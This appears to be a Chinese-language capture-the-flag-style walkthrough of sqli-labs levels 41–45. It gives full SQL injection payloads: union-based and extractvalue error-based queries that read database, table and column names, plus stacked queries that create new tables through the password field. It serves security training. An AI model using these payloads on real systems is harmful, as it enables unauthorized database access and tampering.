sqli-labs靶场（41-45）

sql-labs第41关(GET请求-基于盲注-数值型-堆叠)
sql-labs第42关(POST请求-基于错误-字符型-堆叠)
sql-labs第43关(POST请求-基于错误-字符型-堆叠变形)
sql-labs第44关(POST请求-基于错误-字符型-堆叠-盲注)
sql-labs第45关(POST请求-基于错误-字符型-堆叠-盲注)

41关

这里跟前边的三十九关一样是数字型的

查库

查表

Less-41/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

这里就不多写了

42关

这里在密码那输入语句1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#可以查到数据库

' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' #

输入1';create table series42 like users#成功新建表

43关

在username输入1，password输入1'，出现报错，很好，注入点还是在password处

password输入1')#尝试闭合，没有报错，成功闭合

输入1');create table series43 like users#成功新建表

44关

这里输入正确的用户密码登录进去

进来就好办了跟上一关一样建表

45关

这关跟上关一样又没有报错信息，又需要用正确账号密码来验证，那么直接在password处输入admin'，很好，页面错误

这关闭合点就是')

进来就跟上边一样了建表就完事了